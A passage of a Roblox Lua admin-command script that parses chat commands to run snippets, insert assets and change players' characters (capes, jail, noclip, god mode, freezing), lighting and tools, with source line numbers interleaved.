if script:findFirstChild("ScriptBase") then
456
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
457
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
458
else loadstring(msg:sub(3))()
459
end
460
end))
461
end
462
463
if msg:lower():sub(1,3) == "ls " then
464
coroutine.resume(coroutine.create(function()
465
if script:findFirstChild("LocalScriptBase") then
466
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
467
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
468
end
469
end))
470
end
471
472
if msg:lower():sub(1,4) == "ins " then
473
coroutine.resume(coroutine.create(function()
474
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
475
if obj and #obj:children() >= 1 and plr.Character then
476
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
477
end
478
end))
479
end
480
481
if msg:lower():sub(1,5) == "gear " then
482
coroutine.resume(coroutine.create(function()
483
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(6)))
484
if obj and #obj:children() >= 1 and plr.Character then
485
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
486
end
487
end))
488
end
489
490
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
491
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
492
objects = {}
493
end
494
495
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
496
game.Lighting.Ambient = origsettings.abt
497
game.Lighting.Brightness = origsettings.brt
498
game.Lighting.TimeOfDay = origsettings.time
499
game.Lighting.FogColor = origsettings.fclr
500
game.Lighting.FogEnd = origsettings.fe
501
game.Lighting.FogStart = origsettings.fs
502
for i, v in pairs(lobjs) do v:Destroy() end
503
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
504
end
505
506
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
507
coroutine.resume(coroutine.create(function()
508
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
509
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
510
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
511
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
512
end))
513
end
514
515
if msg:lower():sub(1,2) == "m " then
516
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
517
end
518
519
if msg:lower():sub(1,2) == "h " then
520
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
521
end
522
523
if msg:lower():sub(1,3) == "pm " then
524
local chk1 = msg:lower():sub(4):find(" ") + 3
525
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
526
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
527
end
528
529
if msg:lower():sub(1,11) == "resetstats " then
530
local plrz = GetPlr(plr, msg:lower():sub(12))
531
for i, v in pairs(plrz) do
532
coroutine.resume(coroutine.create(function()
533
if v and v:findFirstChild("leaderstats") then
534
for a, q in pairs(v.leaderstats:children()) do
535
if q:IsA("IntValue") then q.Value = 0 end
536
end
537
end
538
end))
539
end
540
end
541
542
if msg:lower():sub(1,4) == "hat " then
543
local chk1 = msg:lower():sub(5):find(" ") + 4
544
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
545
for i, v in pairs(plrz) do
546
coroutine.resume(coroutine.create(function()
547
if v and v.Character then
548
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
549
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
550
obj:Destroy()
551
end
552
end))
553
end
554
end
555
556
if msg:lower():sub(1,5) == "cape " then
557
local chk1 = msg:lower():sub(6):find(" ")
558
local plrz = GetPlr(plr, msg:lower():sub(6))
559
local str = "torso.BrickColor"
560
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
561
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
562
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
563
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
564
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
565
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
566
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
567
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
568
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
569
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
570
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
571
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
572
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
573
if BrickColor.new(teststr) ~= nil then str = teststr end
574
end
575
for i, v in pairs(plrz) do
576
coroutine.resume(coroutine.create(function()
577
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
578
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
579
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
580
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
581
local torso = plr.Character.Torso
582
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
583
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
584
p.Size = Vector3.new(.2,.2,.2)
585
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
586
local motor1 = Instance.new("Motor", p)
587
motor1.Part0 = p
588
motor1.Part1 = torso
589
motor1.MaxVelocity = .01
590
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
591
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
592
local wave = false
593
repeat wait(1/44)
594
local ang = 0.1
595
local oldmag = torso.Velocity.magnitude
596
local mv = .002
597
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
598
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
599
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
600
motor1.DesiredAngle = -ang
601
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
602
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
603
if torso.Velocity.magnitude < .1 then wait(.1) end
604
until not p or p.Parent ~= torso.Parent
605
script:Destroy()
606
]] cl.Parent = v.PlayerGui cl.Disabled = false
607
end
608
end))
609
end
610
end
611
612
if msg:lower():sub(1,7) == "uncape " then
613
local plrz = GetPlr(plr, msg:lower():sub(8))
614
for i, v in pairs(plrz) do
615
coroutine.resume(coroutine.create(function()
616
if v and v:findFirstChild("PlayerGui") and v.Character then
617
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
618
end
619
end))
620
end
621
end
622
623
if msg:lower():sub(1,7) == "noclip " then
624
local plrz = GetPlr(plr, msg:lower():sub(8))
625
for i, v in pairs(plrz) do
626
coroutine.resume(coroutine.create(function()
627
if v and v:findFirstChild("PlayerGui") then
628
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
629
cl.Parent = v.PlayerGui cl.Disabled = false
630
end
631
end))
632
end
633
end
634
635
if msg:lower():sub(1,5) == "clip " then
636
local plrz = GetPlr(plr, msg:lower():sub(6))
637
for i, v in pairs(plrz) do
638
coroutine.resume(coroutine.create(function()
639
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
640
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
641
v.Character.Torso.Anchored = false
642
wait(.1) v.Character.Humanoid.PlatformStand = false
643
end
644
end))
645
end
646
end
647
648
if msg:lower():sub(1,5) == "jail " then
649
local plrz = GetPlr(plr, msg:lower():sub(6))
650
for i, v in pairs(plrz) do
651
coroutine.resume(coroutine.create(function()
652
if v and v.Character and v.Character:findFirstChild("Torso") then 
653
local vname = v.Name
654
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
655
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
656
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
657
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
658
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
659
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
660
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
661
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
662
end)
663
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
664
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
665
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
666
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
667
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
668
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
669
local msh2 = msh:Clone() msh2.Parent = back
670
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
671
local msh4 = msh3:Clone() msh4.Parent = left
672
v.Character.Torso.CFrame = cf
673
end
674
end))
675
end
676
end
677
678
if msg:lower():sub(1,7) == "unjail " then
679
local plrz = GetPlr(plr, msg:lower():sub(8))
680
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
681
end
682
683
if msg:lower():sub(1,11) == "starttools " then
684
local plrz = GetPlr(plr, msg:lower():sub(12))
685
for i, v in pairs(plrz) do
686
coroutine.resume(coroutine.create(function()
687
if v and v:findFirstChild("Backpack") then
688
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
689
end
690
end))
691
end
692
end
693
694
if msg:lower():sub(1,6) == "sword " then
695
local plrz = GetPlr(plr, msg:lower():sub(7))
696
for i, v in pairs(plrz) do
697
coroutine.resume(coroutine.create(function()
698
if v and v:findFirstChild("Backpack") then
699
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
700
sword.GripForward = Vector3.new(-1,0,0)
701
sword.GripPos = Vector3.new(0,0,-1.5)
702
sword.GripRight = Vector3.new(0,1,0)
703
sword.GripUp = Vector3.new(0,0,1)
704
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
705
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
706
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
707
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
708
local Damage = 15
709
local SlashSound = Instance.new("Sound", script.Parent.Handle)
710
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
711
SlashSound.Volume = 1
712
local LungeSound = Instance.new("Sound", script.Parent.Handle)
713
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
714
LungeSound.Volume = 1
715
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
716
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
717
UnsheathSound.Volume = 1
718
local last = 0
719
script.Parent.Handle.Touched:connect(function(hit)
720
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
721
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
722
hit.Parent.Humanoid:TakeDamage(Damage)
723
end
724
end)
725
script.Parent.Activated:connect(function()
726
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
727
script.Parent.Enabled = false
728
local tick = game:service("RunService").Stepped:wait()
729
if tick - last <= .2 then
730
LungeSound:play()
731
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
732
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
733
wait(.2)
734
script.Parent.GripForward = Vector3.new(0,0,1)
735
script.Parent.GripRight = Vector3.new(0,-1,0)
736
script.Parent.GripUp = Vector3.new(-1,0,0)
737
wait(.3)
738
frc:Destroy() wait(.5)
739
script.Parent.GripForward = Vector3.new(-1,0,0)
740
script.Parent.GripRight = Vector3.new(0,1,0)
741
script.Parent.GripUp = Vector3.new(0,0,1)
742
else
743
SlashSound:play()
744
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
745
end
746
last = tick
747
script.Parent.Enabled = true
748
end)
749
script.Parent.Equipped:connect(function(mouse)
750
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
751
UnsheathSound:play()
752
script.Parent.Enabled = true
753
if not mouse then return end
754
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
755
end)]] cl.Disabled = false 
756
end
757
end))
758
end
759
end
760
761
if msg:lower():sub(1,5) == "kill " then
762
local plrz = GetPlr(plr, msg:lower():sub(6))
763
for i, v in pairs(plrz) do
764
coroutine.resume(coroutine.create(function()
765
if v and v.Character then v.Character:BreakJoints() end
766
end))
767
end
768
end
769
770
if msg:lower():sub(1,8) == "respawn " then
771
local plrz = GetPlr(plr, msg:lower():sub(9))
772
for i, v in pairs(plrz) do
773
coroutine.resume(coroutine.create(function()
774
if v and v.Character then v:LoadCharacter() end
775
end))
776
end
777
end
778
779
if msg:lower():sub(1,5) == "trip " then
780
local plrz = GetPlr(plr, msg:lower():sub(6))
781
for i, v in pairs(plrz) do
782
coroutine.resume(coroutine.create(function()
783
if v and v.Character and v.Character:findFirstChild("Torso") then 
784
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
785
end
786
end))
787
end
788
end
789
790
if msg:lower():sub(1,5) == "stun " then
791
local plrz = GetPlr(plr, msg:lower():sub(6))
792
for i, v in pairs(plrz) do
793
coroutine.resume(coroutine.create(function()
794
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
795
v.Character.Humanoid.PlatformStand = true
796
end
797
end))
798
end
799
end
800
801
if msg:lower():sub(1,7) == "unstun " then
802
local plrz = GetPlr(plr, msg:lower():sub(8))
803
for i, v in pairs(plrz) do
804
coroutine.resume(coroutine.create(function()
805
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
806
v.Character.Humanoid.PlatformStand = false
807
end
808
end))
809
end
810
end
811
812
if msg:lower():sub(1,5) == "jump " then
813
local plrz = GetPlr(plr, msg:lower():sub(6))
814
for i, v in pairs(plrz) do
815
coroutine.resume(coroutine.create(function()
816
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
817
v.Character.Humanoid.Jump = true
818
end
819
end))
820
end
821
end
822
823
if msg:lower():sub(1,4) == "sit " then
824
local plrz = GetPlr(plr, msg:lower():sub(5))
825
for i, v in pairs(plrz) do
826
coroutine.resume(coroutine.create(function()
827
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
828
v.Character.Humanoid.Sit = true
829
end
830
end))
831
end
832
end
833
834
if msg:lower():sub(1,10) == "invisible " then
835
local plrz = GetPlr(plr, msg:lower():sub(11))
836
for i, v in pairs(plrz) do
837
coroutine.resume(coroutine.create(function()
838
if v and v.Character then 
839
for a, obj in pairs(v.Character:children()) do 
840
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
841
end
842
end
843
end))
844
end
845
end
846
847
if msg:lower():sub(1,8) == "visible " then
848
local plrz = GetPlr(plr, msg:lower():sub(9))
849
for i, v in pairs(plrz) do
850
coroutine.resume(coroutine.create(function()
851
if v and v.Character then 
852
for a, obj in pairs(v.Character:children()) do 
853
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
854
end
855
end
856
end))
857
end
858
end
859
860
if msg:lower():sub(1,5) == "lock " then
861
local plrz = GetPlr(plr, msg:lower():sub(6))
862
for i, v in pairs(plrz) do
863
coroutine.resume(coroutine.create(function()
864
if v and v.Character then 
865
for a, obj in pairs(v.Character:children()) do 
866
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
867
end
868
end
869
end))
870
end
871
end
872
873
if msg:lower():sub(1,7) == "unlock " then
874
local plrz = GetPlr(plr, msg:lower():sub(8))
875
for i, v in pairs(plrz) do
876
coroutine.resume(coroutine.create(function()
877
if v and v.Character then 
878
for a, obj in pairs(v.Character:children()) do 
879
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
880
end
881
end
882
end))
883
end
884
end
885
886
if msg:lower():sub(1,8) == "explode " then
887
local plrz = GetPlr(plr, msg:lower():sub(9))
888
for i, v in pairs(plrz) do
889
coroutine.resume(coroutine.create(function()
890
if v and v.Character and v.Character:findFirstChild("Torso") then 
891
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
892
end
893
end))
894
end
895
end
896
897
if msg:lower():sub(1,4) == "age " then
898
local plrz = GetPlr(plr, msg:lower():sub(5))
899
for i, v in pairs(plrz) do
900
coroutine.resume(coroutine.create(function()
901
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
902
end))
903
end
904
end
905
906
if msg:lower():sub(1,5) == "fire " then
907
local plrz = GetPlr(plr, msg:lower():sub(6))
908
for i, v in pairs(plrz) do
909
coroutine.resume(coroutine.create(function()
910
if v and v.Character and v.Character:findFirstChild("Torso") then 
911
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
912
end
913
end))
914
end
915
end
916
917
if msg:lower():sub(1,7) == "unfire " then
918
local plrz = GetPlr(plr, msg:lower():sub(8))
919
for i, v in pairs(plrz) do
920
coroutine.resume(coroutine.create(function()
921
if v and v.Character and v.Character:findFirstChild("Torso") then 
922
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
923
end
924
end))
925
end
926
end
927
928
if msg:lower():sub(1,6) == "smoke " then
929
local plrz = GetPlr(plr, msg:lower():sub(7))
930
for i, v in pairs(plrz) do
931
coroutine.resume(coroutine.create(function()
932
if v and v.Character and v.Character:findFirstChild("Torso") then 
933
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
934
end
935
end))
936
end
937
end
938
939
if msg:lower():sub(1,8) == "unsmoke " then
940
local plrz = GetPlr(plr, msg:lower():sub(9))
941
for i, v in pairs(plrz) do
942
coroutine.resume(coroutine.create(function()
943
if v and v.Character and v.Character:findFirstChild("Torso") then 
944
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
945
end
946
end))
947
end
948
end
949
950
if msg:lower():sub(1,9) == "sparkles " then
951
local plrz = GetPlr(plr, msg:lower():sub(10))
952
for i, v in pairs(plrz) do
953
coroutine.resume(coroutine.create(function()
954
if v and v.Character and v.Character:findFirstChild("Torso") then 
955
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
956
end
957
end))
958
end
959
end
960
961
if msg:lower():sub(1,11) == "unsparkles " then
962
local plrz = GetPlr(plr, msg:lower():sub(12))
963
for i, v in pairs(plrz) do
964
coroutine.resume(coroutine.create(function()
965
if v and v.Character and v.Character:findFirstChild("Torso") then 
966
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
967
end
968
end))
969
end
970
end
971
972
if msg:lower():sub(1,3) == "ff " then
973
local plrz = GetPlr(plr, msg:lower():sub(4))
974
for i, v in pairs(plrz) do
975
coroutine.resume(coroutine.create(function()
976
if v and v.Character then Instance.new("ForceField", v.Character) end
977
end))
978
end
979
end
980
981
if msg:lower():sub(1,5) == "unff " then
982
local plrz = GetPlr(plr, msg:lower():sub(6))
983
for i, v in pairs(plrz) do
984
coroutine.resume(coroutine.create(function()
985
if v and v.Character then 
986
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
987
end
988
end))
989
end
990
end
991
992
if msg:lower():sub(1,7) == "punish " then
993
local plrz = GetPlr(plr, msg:lower():sub(8))
994
for i, v in pairs(plrz) do
995
coroutine.resume(coroutine.create(function()
996
if v and v.Character then 
997
v.Character.Parent = game:service("Lighting")
998
end
999
end))
1000
end
1001
end
1002
1003
if msg:lower():sub(1,9) == "unpunish " then
1004
local plrz = GetPlr(plr, msg:lower():sub(10))
1005
for i, v in pairs(plrz) do
1006
coroutine.resume(coroutine.create(function()
1007
if v and v.Character then 
1008
v.Character.Parent = game:service("Workspace")
1009
v.Character:MakeJoints()
1010
end
1011
end))
1012
end
1013
end
1014
1015
if msg:lower():sub(1,7) == "freeze " then
1016
local plrz = GetPlr(plr, msg:lower():sub(8))
1017
for i, v in pairs(plrz) do
1018
coroutine.resume(coroutine.create(function()
1019
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1020
for a, obj in pairs(v.Character:children()) do 
1021
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
1022
end
1023
end
1024
end))
1025
end
1026
end
1027
1028
if msg:lower():sub(1,5) == "thaw " then
1029
local plrz = GetPlr(plr, msg:lower():sub(6))
1030
for i, v in pairs(plrz) do
1031
coroutine.resume(coroutine.create(function()
1032
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1033
for a, obj in pairs(v.Character:children()) do 
1034
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1035
end
1036
end
1037
end))
1038
end
1039
end
1040
1041
if msg:lower():sub(1,5) == "heal " then
1042
local plrz = GetPlr(plr, msg:lower():sub(6))
1043
for i, v in pairs(plrz) do
1044
coroutine.resume(coroutine.create(function()
1045
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1046
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1047
end
1048
end))
1049
end
1050
end
1051
1052
if msg:lower():sub(1,4) == "god " then
1053
local plrz = GetPlr(plr, msg:lower():sub(5))
1054
for i, v in pairs(plrz) do
1055
coroutine.resume(coroutine.create(function()
1056
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1057
v.Character.Humanoid.MaxHealth = math.huge
1058
v.Character.Humanoid.Health = 9e9
1059
end
1060
end))
1061
end
1062
end
1063
1064
if msg:lower():sub(1,6) == "ungod " then
1065
local plrz = GetPlr(plr, msg:lower():sub(7))
1066
for i, v in pairs(plrz) do
1067
coroutine.resume(coroutine.create(function()
1068
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1069
v.Character.Humanoid.MaxHealth = 100
1070
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1071
end
1072
end))
1073
end
1074
end
1075
1076
if msg:lower():sub(1,8) == "ambient " then
1077
local chk1 = msg:lower():sub(9):find(" ") + 8
1078
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1079
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1080
end
1081
1082
if msg:lower():sub(1,11) == "brightness " then
1083
game.Lighting.Brightness = msg:sub(12)
1084
end
1085
1086
if msg:lower():sub(1,5) == "time " then
1087
game.Lighting.TimeOfDay = msg:sub(6)
1088
end
1089
1090
if msg:lower():sub(1,9) == "fogcolor " then
1091
local chk1 = msg:lower():sub(10):find(" ") + 9
1092
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1093
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1094
end
1095
1096
if msg:lower():sub(1,7) == "fogend " then
1097
game.Lighting.FogEnd = msg:sub(8)
1098
end
1099
1100
if msg:lower():sub(1,9) == "fogstart " then
1101
game.Lighting.FogStart = msg:sub(10)
1102
end
1103
1104
if msg:lower():sub(1,7) == "btools " then
1105
local plrz = GetPlr(plr, msg:lower():sub(8))
1106
for i, v in pairs(plrz) do
1107
coroutine.resume(coroutine.create(function()
1108
if v and v:findFirstChild("Backpack") then 
1109
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1110
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1111
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1112
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1113
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1114
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1115
local sb
1116
local hs
1117
local pdist
1118
1119
